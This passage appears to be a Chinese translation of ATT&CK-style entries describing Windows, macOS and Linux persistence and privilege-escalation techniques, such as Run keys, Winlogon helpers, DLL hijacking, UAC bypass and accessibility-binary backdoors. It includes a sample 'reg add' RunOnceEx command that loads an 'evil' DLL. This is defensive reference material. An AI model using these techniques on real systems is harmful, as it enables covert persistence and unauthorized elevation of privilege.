DLL 加载的常见做法,这在 DLL 搜索顺序劫持中有所涉及。

修改 Plist

属性列表 (plist) 文件包含 macOS 和 OS X 中应用程序和服务所有配置信息。 这些文件采用 UTF-8 编码并像 XML 文档一样通过一系列由<>包围的键来格式化。 它们详细说明了程序应该在何时执行、可执行文件的路径、程序参数、所需的操作系统权限以及许多其他内容。plists 位于特定的位置,这取决于它们的用途,例如 /Library/Preferences(使用高级特权执行)和~/Library/Preferences(使用用户的特权执行)。 攻击者可以修改这些 plist 文件以指向自己的代码,可以利用它们在另一个用户的上下文中执行自己的代码,可以绕过白名单,甚至可以利用它们实现持久化。

端口试探

端口试探是一种较为成熟的技术,目的是隐藏开放的端口以控制访问,攻击者和防御者均可使用。 为了启用端口,攻击者需发送一系列具有特定特征的数据包。 通常,这些数据包包含关闭端口预定义的尝试序列(译者注:称为敲门序列),这可能涉及不常见的标志、特定的字符串或其他特征。 完成序列,通常由基于主机的防火墙开启端口,但也可以由自定义软件打开。 在动态开启监听端口和在不同系统上启动与监听服务器的连接时,都可以见到该技术。 可以通过不同的方法观察引发通信的数据包。 一种方法(最初由 Cd00r 实现)是使用 libpcap 库嗅探有问题的包。 另一种方法利用了原始套接字,这使得恶意软件可以使用供其他程序使用的开放端口。

端口监视器

可以通过 API 调用设置端口监视器, 以设置要在启动时加载的 DLL。 此 DLL 可以位于 C:\Windows\System32,并且在启动时被打印机,spoolsv.exe 被加载。spoolsv.exe 进程也在 SYSTEM 级别权限下运行。 或者,如果权限允许为该 DLL 写入完整的路径名到HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors​​,则可以加载任意 DLL。注册表项包含以下条目:1. 本地端口 2. 标准 TCP / IP 端口 3. USB 监视器 WSD 端口 攻击者可以使用此技术在启动时加载恶意代码,这些代码将在系统重新启动时持续存在并以 SYSTEM 级别权限执行。

Rc.common

在启动过程中,macOS 执行 source /etc/rc.common,该 shell 脚本包含了各种实用程序函数。 该文件还定义了用于处理命令行参数和收集系统设置的例程,因此建议在启动项脚本 的开头包含该文件。 在 macOS 和 OS X 中,它支持启动代理和启动守护进程,不推荐该技术但目前仍在使用。 攻击者可以利用 rc.common 文件来隐藏代码以实现持久化,在每次重新启动时,这些代码将以根用户的身份 执行。

重启应用程序

从 Mac OS X 10.7 (Lion) 开始,用户可以指定在重启机器时要重新打开的应用程序。 虽然这通常是通过基于每个应用程序的图形用户界面(GUI)完成的,但是属性列表文件 (plist) 也包含这些信息,它们位于~/Library/Preferences/com.apple.loginwindow.plist 和~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist。 攻击者可以直接修改其中一个文件,使其包含指向恶意可执行文件的链接,以便在用户每次重启机器 时提供持久化机制。

冗余访问

攻击者可以使用多个具有不同命令与控制协议的远程访问工具来规避检测。 如果一种类型的工具被检测到并被屏蔽或删除,而组织没有完全了解攻击者的工具和访问权限,那么攻击者将能够维持对网络的访问权限。 攻击者还可能试图获得对有效帐户的访问权,以使用外部远程服务(如外部 vpn) 来维护访问权限,尽管目标网络中部署的远程访问工具会受到干扰。 可以使用 Web Shell 来凭借外部可访问的 Web 服务器维持对某一网络的访问权限。

注册表 Run 键/Startup 文件夹

在注册表"run 键"或"Startup "文件夹中的中添加条目,在用户登录时将执行该条目引用的程序。这些程序将在用户的上下文中执行,并具有帐户的相关权限级别。 在 Windows 系统上默认创建以下 run 键: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx 也可用,但在 Windows Visa 及后续版本中默认不创建。注册表 run 键的条目可以直接引用程序或将它们作为依赖项列出。例如,可以使用 RunOnceEx 的"Depend"键在登录时加载 DLL: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil
dll" 以下注册表项可用于设置启动文件夹项以便保存: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 攻击者可以使用这些配置位置来执行恶意软件,比如远程访问工具,通过重新引导系统来维护持久性。攻击者也可以使用伪装技术,使注册表项看起来像是与合法程序相关联的。

SIP和信任提供者劫持

在用户模式下,Windows Authenticode 数字签名用于验证文件的来源和完整性,这些变量可用于建立对签名代码的信任(例如:可以将具有有效Microsoft签名的驱动程序视为安全的)。签名验证过程是通过WinVerifyTrust应用程序编程接口(API)函数处理的,该函数 接受查询并与负责验证签名参数的适当信任提供者进行协调。 由于可执行文件的类型和相应的签名格式各不相同,Microsoft创建了称为主题接口包(SIP)软件组件,以在API函数和文件之间提供抽象层。SIP负责使API函数能够创建,检索,计算和验证签名。大多数文件格式(可执行文件,PowerShell,安装程序等,都具有唯一的SIP,目录签名提供了一个包罗万象的 ),并且由全局唯一标识符(GUID)标识。

计划任务

诸如 at 和 schtasks 之类的实用程序以及 Windows 任务计划程序可以安排在指定日期和时间执行的程序或脚本。 还可以在远程系统上计划任务,前提是有正确身份验证以使用 RPC,并且已开启文件和打印机共享。 通常远程系统上 Administrators 组的成员才能在远程系统上计划任务。 攻击者可以使用任务计划来在系统启动时,或在计划的基础上执行程序以实现持久化,作为横向移动的一部分执行远程任务,获得 SYSTEM 权限,或者在指定帐户的上下文下运行进程。

屏幕保护

屏幕保护程序 (Screensaver) 是在所配置的用户不活动时间后执行的程序,由扩展名为。scr 的可移植可执行 (PE) 文件组成。 Windows 屏幕保护程序 scrnsave.exe 以及基本 Windows 安装中包含的屏幕保护程序位于 C:\Windows\System32\。 以下屏幕保护程序设置存储在注册表内 (HKCU\Control Panel\Desktop\),可以通过操作来实现持久化。 - SCRNSAVE.exe 设置为恶意 PE 路径 - ScreenSaveActive—设置为“1”以启用屏幕保护程序 - ScreenSaverIsSecure -设置为“0”不需要密码解锁 - ScreenSaverTimeout——设置执行屏幕保护程序用户不活动的超时时间。 攻击者可以使用屏幕保护程序设置来保持持久性,方法是在用户不活动的特定时间段后设置屏保运行恶意软件。

安全支持提供者

Windows 安全支持提供者 (SSP) DLL 在系统启动时加载到本地安全中心 (LSA) 进程中。一旦加载到 LSA 中,SSP DLL 就有权访问存储在 Windows 中加密数据和密码密明文,例如任何登录用户的域密码或智能卡 PIN。SSP 配置存储在两个注册表项中: HKLMPackages 和 HKLMPackages。攻击者可以修改这些注册表键来添加新的 SSP,这些 SSP 将在下一次系统启动时或者在调用 AddSecurityPackage Windows API 函数时加载。

服务注册表权限缺陷

Windows 将本地服务配置信息存储在 HKLM 下的注册表中。可以通过诸如服务控制器、sc.exe、PowerShell 或 Reg 等工具操作存储在服务注册表项下的信息来修改服务的执行参数。对注册表项的访问由访问控制列表和权限控制。 如果没有正确设置用户和组的权限,并且不限制对服务的注册表项访问,则攻击者可以更改服务 binPath/ImagePath 以指向受其控制的另一个可执行文件。当服务启动或重启时会执行由攻击者控制的程序,使得攻击者获得持久性和/或提权到服务运行所需的帐户上下文。(本地/域帐户,SYSTEM,LocalService 或 NetworkService) 攻击者还可以更改与服务失败参数(例如 FailureCommand) 关联的注册表键,参数内容可能在服务失败或有意崩溃时在提升的上下文中执行。

Setuid与Setgid

在Linux或macOS上为应用程序设置setuid或setgid位时,这意味着该应用程序将分别以拥有用户或组的特权运行 。通常,应用程序是在当前用户的上下文中运行的,而不管哪个用户或组拥有该应用程序。在某些情况下,需要在提升权限的上下文中执行程序才能正常运行,但运行它们的用户不需要提升权限。任何用户都可以在自己的应用程序中指定要设置的setuid或setgid标志,而不必在sudoers文件中创建条目(必须由root用户创建)。通过查看文件属性时,这些位用“ s”而不是“ x”表示ls -l。该chmod程序可以经由bitmasking设置这些位,chmod 4777
或通过缩写命名chmod u+s
。 攻击者可以利用此优势进行shell逃逸或利用具有setuid或setgid位的应用程序中的漏洞来获取在不同用户上下文中运行的代码。此外,对手可以对自己的恶意软件使用此机制,以确保他们将来能够在提升的环境中执行

修改快捷方式

快捷方式或符号链接指向其他文件或应用程序。当其被单击或在系统启动过程中被执行时,将打开或执行被指向的文件或程序。 攻击者可以使用快捷方式执行其持久化工具。他们可以创建一个新的快捷方式作为间接手段,对它进行伪装使其看起来像一个合法的程序。攻击者还可以修改目标路径或完全替换现有快捷方式,以便执行其工具而不是预期的合法程序。

启动项目

根据Apple的文档,启动项在启动过程的最后阶段执行,并且包含shell脚本或其他可执行文件以及系统用来确定所有启动项
的执行顺序的配置信息。从技术上讲,这是一个不推荐使用的版本(由Launch Daemons取代),因此/Library/StartupItems默认情况下不能保证相应的文件夹存在于系统上,但默认情况下似乎确实存在于macOS Sierra上。启动项是一个目录,其可执行文件和配置属性列表(plist)StartupParameters.plist位于顶层目录中。 对手可以在StartupItems目录中创建适当的文件夹/文件,以注册其自己的持久性机制。此外,由于StartupItems在macOS的启动阶段运行,因此它们将作为root运行。如果对手能够修改现有的启动项,那么他们也将能够升级特权。

系统固件

系统固件用来作为操作系统和计算机硬件之间的软件接口, 示例有 BIOS(基本输入/输出系统)和统一可扩展固件接口(UEFI)或可扩展固件接口(EFI) 诸如 BIOS 和(U)EFI 之类的系统固件是计算机功能的基础,并且可以由攻击者修改以执行或协助恶意活动。存在覆盖系统固件的能力,这可能为复杂的攻击者提供安装恶意固件更新的手段,作为在可能难以检测的系统上持久化。

时间提供程序

Windows Time 服务 (W32Time) 支持跨域和域内的时间同步。 W32Time 时间提供程序负责从硬件/网络资源中检索时间戳,并将这些值输出到其他网络客户端。 时间提供程序实现为动态链接库 (DLL),在 HKEY_LOCAL_MACHINE32Time 的子键中注册。 由服务控制管理器控制的时间提供程序管理器,在系统启动和/或参数更改时加载和启动在此键下列出并已启用的时间提供程序。 攻击者可能会滥用此体系结构来建立持久性,特别是通过注册并启用恶意 DLL 作为时间提供程序。 注册时间提供程序需要管理员权限,不过将在本地服务帐户的上下文中执行。

Trap

trap 命令使程序和 shell 可以指定接收中断信号时执行的命令。 一种常见的情况是脚本允许正常终止和处理常见的键盘中断,如 ctrl+c 和 ctrl+d。当 shell 遇到特定的中断时,攻击者可以使用它来注册要执行的代码,以获得执行或作为持久性机制。 Trap 命令的格式如下:trap“命令列表”signals,当接收时到“signals”,将执行“命令列表”。

有效帐户

攻击者可以使用凭据访问技术窃取特定用户或服务帐户的凭据,或者通过社会工程在早期侦察过程中获取凭据,以获取初始访问权限。 被盗取的凭据可以用于绕过对网络内系统上各种资源的访问控制,甚至可能用于对远程系统和外部可用服务(如 vpn、Outlook Webaccess 和远程桌面)的持久性访问。被盗取的凭据还可能给攻击者提供特定系统的更高权限,或对网络的受限区域的访问权。攻击者可能会选择不把这些凭据提供的合法访问与恶意软件或工具结合使用,使其更加隐蔽。 攻击者也可以创建帐户,有时使用预定义的帐户名称和密码,作为在其他方法失败时通过备用访问获得持久性的一种方法。 跨系统网络的凭据和权限的重叠令人担忧,因为攻击者可能能够跨帐户和系统实现高级别访问(例如,域或企业管理员) ,以绕过企业内设置的访问控制。

Web Shell

Web shell 是可公开访问的 Web 服务器上的 Web 脚本,它使攻击者能够利用 Web 服务器作为进入网络的网关。Web shell 可以提供 Web 服务器系统上的一组可执行函数或命令行界面。除了服务器端脚本之外,Web shell 还可用于与 Web 服务器通信的客户机接口程序(参见,例如,China Chopper Web shell 客户端)。 Web shell 可以作为冗余访问 (Redundant Access) 或持久化机制,以防攻击者的主要访问方法被检测到并禁止。

Windows 管理规范事件订阅

可以使用 Windows 管理规范(WMI)安装在发生定义事件时执行代码的事件过滤器,提供程序,使用程序和绑定程序。­攻击者可以使用 WMI 的功能来订阅事件并在事件发生时执行任意代码,从而在系统上获得持久性。攻击者可能会试图通过编译 WMI 脚本来规避对此技术的检测。可订阅的事件示例有挂钟时间或计算机的正常运行时间。据报道,一些威胁组织使用这种技术来维持持久性。

Winlogon Helper DLL

Winlogon.exe 是一个 Windows 组件,负责登录/注销时的操作以及 Ctrl-Alt-Delete 触发的安全注意序列(SAS)。在 HKLM\Software
Microsoft\Windows NT\CurrentVersion\Winlogon\ 和 HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ 的注册表项用于管理支持 Winlogon 的其他帮助程序和功能。 对这些注册表项的恶意修改可能导致 Winlogon 加载和执行恶意 DLL 和/或可执行文件。确切说,已知以下子项可能容易被滥用: Winlogon \ Notify - 指向处理 Winlogon 事件的通知包 DLL Winlogon \ Userinit - 指向 userinit.exe,即用户登录时执行的用户初始化程序 Winlogon \ Shell - 指向 explorer.exe,即用户登录时执行的系统 shell 攻击者可以利用这些特性重复执行恶意代码并持久化 。

外部远程服务

诸如 vpn、Citrix 等远程服务和其他访问机制允许用户从外部连接到企业内部的网络资源。 通常由远程服务网关来管理这些服务的连接和凭据验证。 Windows 远程管理 (Windows Remote Management) 等服务也可以在外部使用。 攻击者可以使用远程服务来获取对网络的访问权并维持访问权限。 使用该服务通常需要有效帐户的访问权,可以通过凭证嫁接 (Pharming) 获取或在攻击企业网络后从用户处获得凭证。 访问远程服务可以用作冗余访问的一部分。

系统服务

系统服务可用于在Linux系统上建立持久性。systemd服务管理器通常用于管理后台守护程序进程(也称为服务)和其他系统资源。 Systemd是许多Linux发行版中的默认初始化(init)系统,从Debian 8,Ubuntu 15.04,CentOS 7,RHEL 7,Fedora 15开始,它取代了包括SysVinit和Upstart的旧式初始化系统,同时保持了向后兼容。前述的初始化系统。 Systemd利用称为服务单元的配置文件来控制服务的启动方式和条件。默认情况下,这些单位文件存储在/etc/systemd/system和/usr/lib/systemd/system目录中,文件扩展名为.service。每个服务单元文件可能包含许多可执行系统命令的指令。 ExecStart,ExecStartPre和ExecStartPost指令涵盖了当通过“ systemctl”手动启动服务时或在将服务设置为自动启动时在系统启动时执行命令的情况。 ExecReload指令涵盖了服务重新启动的时间。 ExecStop和ExecStopPost指令涵盖何时停止服务或由“ systemctl”手动停止服务。 攻击者已使用systemd功能通过创建和/或修改服务单元文件来建立对受害系统的持久访问,这些服务单元文件使systemd以周期性间隔(例如系统启动)执行恶意命令。 对手通常需要root特权才能在/目录中创建/修改服务单元文件,/etc/systemd/system而/usr/lib/systemd/system低特权用户可以在目录中创建/修改服务单元文件,~/.config/systemd/user/以实现用户级的持久性。

PowerShell配置文件

在某些情况下,攻击者可以通过滥用PowerShell(T1086)配置文件来获得持久性和提升特权。PowerShell配置文件(profile.ps1)是一个在PowerShell启动时运行的脚本,可以用作登录脚本来自定义用户环境。PowerShell根据用户或主机程序支持多个配置文件。例如,PowerShell主机程序(例如PowerShell控制台,PowerShell ISE或Visual Studio Code)可以有不同的配置文件。管理员还可以配置一个配置文件,该配置文件适用于本地计算机上的所有用户和主机程序。 攻击者可能会修改这些配置文件,以包括任意命令,功能,模块和/或PowerShell驱动器来获得持久性。每次用户打开PowerShell会话时,除非启动该-NoProfile标志,否则将执行修改后的脚本。 如果PowerShell概要文件中的脚本由具有较高特权的帐户(例如域管理员)加载并执行,则对手也可能能够提升特权。

server应用组件

攻击者可能滥用服务器应用程序的合法可扩展开发功能来建立对系统的持久访问。企业服务器应用程序可能包含允许应用程序开发人员编写和安装软件以扩展主应用程序功能的功能。攻击者可能会安装恶意软件组件,以恶意扩展和滥用服务器应用程序。

Emond

攻击者可以使用事件监视器守护程序(emond)通过安排恶意命令在可预测的事件触发器上运行来建立持久性。Emond是一个启动守护程序(T1160),它接受来自各种服务的事件,通过简单的规则引擎运行它们并采取行动。的emond二进制文件/sbin/emond将加载/etc/emond.d/rules/目录中的所有规则,并在发生明确定义的事件后立即采取措施。规则文件为plist格式,并定义名称,事件类型和要执行的操作。事件类型的一些示例包括系统启动和用户身份验证。操作示例是运行系统命令或发送电子邮件。如果/private/var/db/emondClients在启动守护程序中(T1160)指定的QueueDirectories路径中没有文件,则emond服务将不会启动的配置文件/System/Library/LaunchDaemons/com.apple.emond.plist。 攻击者可以通过编写规则来在发生定义的事件(例如系统启动或用户身份验证)时执行命令来滥用此服务。当emond服务由启动守护程序(T1160)服务以root特权执行时,攻击者也可以将特权从管理员升级到root 。

Privilege Escalation简介

特权提升(Privilege Escalation)是允许攻击者在系统或网络上获得更高级别权限的结果。某些工具或操作需要更高级别的权限,并且在特定操作的许多场景很可能都是必需的。攻击者使用无特权访问权限访问系统后,必须利用系统缺陷来获取本地管理员或 SYSTEM / root 级别的权限。也可以是具有类似管理员访问权限的用户帐户。获取具有攻击者实现其目标所必需的访问特定系统或执行特定操作的权限的账户也可被视为特权提升。 其主要包含的战术内容如下:

篡改访问令牌

Windows使用访问令牌来确定正在运行的进程的所有权。用户可以操纵访问令牌以使正在运行的进程看起来像它属于启动该进程的用户以外的其他人。发生这种情况时,该过程还将采用与新令牌关联的安全性上下文。例如,Microsoft提倡使用访问令牌作为安全性最佳实践。管理员应以标准用户身份登录,但使用内置访问令牌操作命令以管理员权限运行其工具runas。 攻击者可以使用访问令牌在不同的用户或系统安全性上下文下进行操作,以执行操作并逃避检测。攻击者可以使用内置的Windows API函数来复制现有进程中的访问令牌。这被称为令牌窃取。对手必须已经在特权用户上下文(即管理员)中才能窃取令牌。但是,攻击者通常使用令牌窃取将其安全上下文从管理员级别提升到SYSTEM级别。如果帐户对远程系统具有适当的权限,则对手可以使用令牌作为该令牌的帐户向远程系统进行身份验证。

辅助功能

Windows 包含可在用户登录前使用组合键启动的辅助功能(例如,当用户在 Windows 登录屏幕上时)。攻击者可以修改这些程序的启动方式,以获取命令提示符或后门而无需登录系统。 两个常用的辅助功能程序,C:\Windows\System32\sethc.exe 按下五次 Shift 键启动。C:\Windows\System32\utilman.exe 按下 Windows + U 组合键启动。sethc.exe 程序通常被称为“粘性密钥”,并且已被攻击者用于通过远程桌面登录屏幕进行未经身份验证的访问。 由于代码完整性增强,攻击者可能会以不同的方式利用这些功能,具体取决于 Windows 的版本。在较新版本的 Windows 中,替换的二进制文件需要对 x64 系统进行数字签名,二进制文件必须在 %systemdir%\,并且必须受 Windows File 或 Resource Protection (WFP / WRP)保护。 debugger 很可能作为一种潜在的解决方法,因为它不需要替换相应的辅助功能二进制文件。两种方法的示例: 对于 Windows XP 及更高版本以及 Windows Server 2003 / R2 及更高版本上的简单二进制替换,例如,程序(例如 C:\Windows\System32\utilman.exe)可以替换为“cmd.exe”(或提供后门访问的其他程序)。随后,在键盘前或通过远程桌面协议连接时,在登录屏幕上按下相应的组合键,从而使替换的文件以 SYSTEM 权限执行。 对于 Windows Vista 及更高版本以及 Windows Server 2008 及更高版本的 debugger 方法,可以修改注册表项,以配置“cmd.exe”或其他提供后门访问的程序,作为辅助功能程序的“debugger”。(例如,“utilman.exe”)。修改注册表后,在键盘前或与 RDP 连接时在登录屏幕上按相应的组合键将使“debugger”程序以 SYSTEM 权限执行。

AppCert DLLs

注册表键 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager 中的 AppCertDLLs 值指定的动态链接库 (DLL) 会被加载到每个调用常用的应用程序编程接口 (API) 函数的进程中: CreateProcess CreateProcessAsUser CreateProcessWithLoginW CreateProcessWithTokenW 类似于进程注入,攻击者可以滥用该值,通过使恶意 DLL 被加载并在计算机上独立进程的上下文中运行,实现持久化和特权升级。

AppInit DLLs

注册表键值 AppInit_DLLs 位于 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows或 HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows。它所指向的动态链接库(DLL)都会加载到每个使用到 User32.DLL 的进程实际上,这几乎等同于所有程序。因为 user32.dll 是一个十分常见的库。类似于进程注入,攻击者可以滥用这些值,通过使恶意 DLL 被加载并在计算机上独立进程的上下文中运行,实现持久化和特权升级。在 Windows 8 和更高版本中开启安全引导 (secure boot) 模式时,AppInit DLL 功能会被禁用。

应用 Shimming

创建 Microsoft Windows 应用程序兼容性基础架构/框架 (Application Shim) 是为了在操作系统代码库随时间变化的同时保持软件的向后兼容性。 例如,应用程序 shimming 特性允许开发人员将补丁应用于为 Windows XP 创建的应用程序(不需要重新编写代码),这样它就可以兼容 Windows 10。 在框架中,创建 shims 作为程序(或更具体地说,导入地址表)和 Windows 操作系统之间的缓冲区。 在执行程序时,将引用 shim 缓存来确定程序是否需要使用 shim 数据库 (.sdb)。 如果需要,shim 数据库使用 Hooking 根据需要重定向代码,以便与 OS 通信。 当前由默认 Windows 安装程序 (sdbin.exe) 安装的所有 shim 的列表保存在:%WINDIR%\AppPatch\sysmain.sdb - hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb 自定义数据库存储在: %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom 为了保证 shim 的安全,Windows 将它们设为在用户模式下运行,这样它们就无法修改内核,您必须具有管理员权限才能安装 shim 。 但是,某些 shim 可以用来绕过用户帐户控制 (UAC) (RedirectEXE)、将 DLL 注入进程 (InjectDLL)、禁用数据执行保护 (DisableNX) 和结构异常处理 (DisableSEH) 以及截获内存地址 (GetProcAddress)。 与 hook 类似,使用这些 shim 可能允许攻击者执行一些恶意行为,如提升权限、安装后门、禁用如 Windows Defender 的防御等。

绕过用户帐户控制

Windows 用户帐户控制 (UAC) 使程序可以通过提示用户进行确认来提升权限,从而在管理员权限下执行任务。对用户的影响包括强制拒绝操作,允许用户执行操作(如果用户在本地管理员组中并单击提示符),或允许用户输入管理员密码以完成操作。 如果计算机的 UAC 保护级别设置为最高级别以外的任何级别,则特定 Windows 程序可以提升特权或执行某些提升的 COM 对象,而不会通过 UAC 通知框提示用户。 这方面的一个例子是使用 rundll32.exe 加载特制的 DLL,它加载自动提权的 COM 对象并在受保护的目录中执行文件操作,这通常需要提升访问权限。恶意软件也可以被注入到受信任的进程中,从而在不提示用户的情况下获得更高的权限。如果目标进程不受保护, 攻击者可以使用这些技术将权限提升为管理员。 已发现许多绕过 UAC 的方法。UACMe 的 Github readme 页面包含已在 UACMe 中发现和实施的广泛的方法列表 ,但可能不是全面的绕过列表。经常发现其他的旁路方法,其中一些在民间使用,如:eventvwr.exe 可以自动提权并执行指定的二进制文件或脚本。 如果已知具有管理员权限的帐户的凭据,则可以通过横向移动技术进行绕过,因为 UAC 是单系统安全机制,并且在系统上运行的进程的权限或完整性对于横向系统是未知的,默认为高完整性。

DLL 搜索顺序劫持

Windows 系统使用常见方法来查找需要加载到程序中的 DLL。 攻击者可以利用 Windows DLL 搜索顺序和未明确指明 DLL 的程序来提权和持久化攻击。 攻击者可以执行 DLL 预加载,也称为二进制种植攻击 。执行该攻击的方式是将与未明确的 DLL 同名的恶意 DLL 放置到某一位置,这个位置在合法 DLL 所在位置前被 Windows 搜索到。 该位置通常是程序的当前工作目录。当程序在加载 DLL 之前将其当前目录设置为远程目录(如 Web 共享),会发生远程 DLL 预加载攻击。 攻击者可能会这样做使得程序加载恶意 DLL。 攻击者还可以通过替换现有 DLL 或修改。manifest 或。local 重定向文件,目录或 Junction 来直接修改程序加载 DLL 的方式,以使程序加载不同的 DLL 以持久化攻击或提权。 如果有 DLL 搜索顺序漏洞的程序配置为在更高的权限级别运行,则加载的由攻击者控制的 DLL 也将在更高级别执行。在这种情况下,该技术可用于从用户到管理员或 SYSTEM 或从管理员到 SYSTEM 的权限升级,具体取决于程序。 被路径劫持的程序可能看起来正常,因为可以配置 恶意 DLL 使其同时加载它们所替换的合法 DLL。

Dylib 劫持

macOS 和 OS X 使用一种常见的方法来查找所需的动态库 (dylib),根据搜索路径将其加载到程序中。 攻击者可以利用有歧义的路径来植入 dylib 来提权或获得持久性。 一种常见的方法是查看应用程序使用了哪些 dylib,然后在搜索路径的上方植入一个同名的恶意版本。 这通常使 dylib 与应用程序位于同一个文件夹中。 如果程序配置为在比当前用户更高的权限级别运行,那么当 dylib 加载到应用程序中时,dylib 也将在该高权限级别运行。 这可以被攻击者用于提权。

利用特权提升

软件漏洞利用指的是攻击者利用程序,服务或操作系统软件或内核本身中的编程错误来执行攻击者控制的代码。诸如权限级别之类的安全结构通常会阻碍攻击者对信息的访问和某些技术的使用,因此可能需要特权提升以包括使用软件开发,从而绕过这些限制。 最初获取对系统的访问权时,攻击者可能正在一个权限较低的进程中操作,这将阻止他们访问系统上的某些资源。系统可能存在漏洞,通常在一般以更高权限运行的操作系统组件和软件中,可以利用这些漏洞在系统上获得更高级别的访问权限。这可使攻击者从非特权或用户级权限转移到 SYSTEM 或 root 权限,具体取决于易受攻击的组件。对于已经正确配置并限制了其他特权提升方法的终端系统,这可能是攻击者攻击终端系统的必要步骤。

额外窗口内存注入

在创建窗口之前,基于 Windows 的图形化进程必须规定或注册一个窗口类,它规定了外观和行为(通过 Windows 程序,它是处理数据输入/输出的函数)。 新窗口类的注册可以包括请求最多 40 个字节的额外窗口内存(EWM),以附加到该类的每个实例的分配的内存中。此 EWM 旨在存储该窗口的特定数据,并具有特定的应用程序编程接口(API)函数来设置和获取其值。 虽然很小,但 EWM 足以存储 32 位指针,通常用于指向 Windows 程序。恶意软件可能在攻击链的一部分中利用此内存位置,包括将代码写入进程内存的共享部分,在 EWM 中放置指向代码的指针,然后通过将执行控制返回到进程的 EWM 中的地址来调用执行。 通过 EWM 注入授权的执行可以在单独的实时进程的地址空间中进行。与进程注入类似,这允许访问目标进程的内存和潜在的高级权限。将 payload 写入共享部分还可以避免使用高度监控的 API 调用,例如 WriteProcessMemory 和 CreateRemoteThread。更复杂的恶意软件样本也可能通过触发 Windows 程序和其他系统功能的组合来绕过保护机制,例如数据执行保护(DEP),这些功能将重写目标进程的可执行部分内的恶意负载。

文件系统权限缺陷

进程可以自动执行特定二进制文件作为其功能的一部分,或执行其他操作。如果对包含目标二进制文件的文件系统目录的权限或对二进制文件本身的权限设置不正确,则目标二进制文件可能会被另一个使用用户级权限的二进制文件覆盖并由原始进程执行。如果原始进程和线程在更高的权限级别下运行,则替换的二进制文件也将在更高级别的权限下执行,其中可能包括 SYSTEM。 攻击者可以使用此技术将合法二进制文件替换为恶意二进制文件,作为在更高权限级别执行代码的方法。如果将进程设置为在特定时间或某个特定事件(例如,系统启动)期间运行,则该技术也可用于持久化。 A. 服务 操作 Windows 服务二进制文件是此技术的一种变体。攻击者可以用自己的可执行文件替换合法的服务可执行文件,以获得持久性和/或提权到服务运行所需的帐户上下文。(本地/域帐户,SYSTEM,LocalService 或 NetworkService)一旦服务被启动,不管由用户直接启动(如果有合适的访问)或通过其他方式,例如系统重启时启动服务,都将运行替换的可执行文件,而不是原来的可执行服务。 B. 可执行的安装程序 这种技术的另一种变体利用可执行的自解压安装程序的常见缺陷。在安装过程中,安装程序通常使用%TEMP%目录下的子目录来解压缩二进制文件,例如 DLL,EXE 或其他有效载荷。当安装程序创建子目录和文件时,通常没有设置适当的权限来限制写入,这使子目录中的不受信代码得以执行或安装时使用的二进制文件被覆盖。这种行为可以利用 DLL 搜索顺序劫持。一些安装程序可能需要更高的权限,这将导致执行攻击者控制的代码时被提权。该行为与绕过用户帐户控制有关。一些存在该缺陷的现有通用安装程序的例子已经报告给软件供应商。

Hook

Windows 进程通常利用应用程序编程接口(API)函数来执行需要可重用系统资源的任务。Windows API 函数通常作为导出函数存储在动态链接库(DLL)中。Hook 涉及将调用重定向到这些功能,可以通过以下方式实现: A.hook 程序,它拦截并执行指定的代码以响应诸如消息,击键和鼠标输入之类的事件。 B.导入地址表(IAT)hookk,它修改进程的 IAT,其中存储指向导入的 API 函数的指针。 C.内联 hook,它覆盖 API 函数中的第一个字节以重定向代码流。 与进程注入类似,攻击者可以使用 hook 在另一个进程的上下文中加载和执行恶意代码,秘密执行的同时还可以访问进程的内存和潜在的高级权限。当通过正常使用调用函数时,安装 hook 机制也可以通过连续调用提供持久性。 恶意 hook 机制还可以捕获 API 调用,其中包含显示 Credential Access 的用户身份验证凭据的参数。 Rootkit 通常使用 hook 来隐藏文件,进程,注册表项和其他对象,以隐藏恶意软件和相关行为。

图像文件执行选项注入

图像文件执行选项(IFEO)使开发人员可以将调试器附加到应用程序。创建进程后,应用程序IFEO中存在的调试器将以该应用程序的名称为前缀,从而在调试器下有效地启动新进程(例如,“ C:\dbg\ ntsd.exe -g notepad.exe”)

启动守护程序

根据Apple的开发人员文档,当启动macOS和OS X时,将运行启动来完成系统初始化。此过程从/System/Library/LaunchDaemons和/Library/LaunchDaemons 中找到的属性列表(plist)文件中为每个按需启动的系统级守护程序加载参数。这些LaunchDaemons具有属性列表文件,这些文件指向将要启动的可执行文件。 对手可能会安装新的启动守护程序,该启动守护程序可以配置为在启动时执行,方法是使用launchd或launchctl将plist加载到适当的目录中。可以通过使用相关操作系统或良性软件名称来伪装守护程序名称 。启动守护程序可以使用管理员特权创建,但是在root特权下执行,因此攻击者还可以使用服务将特权从管理员升级到root。 plist文件的权限必须是root:wheel,但是它指向的脚本或程序没有这样的要求。因此,不良的配置可能允许对手修改当前的启动守护程序的可执行文件并获得持久性或特权升级。

新建服务

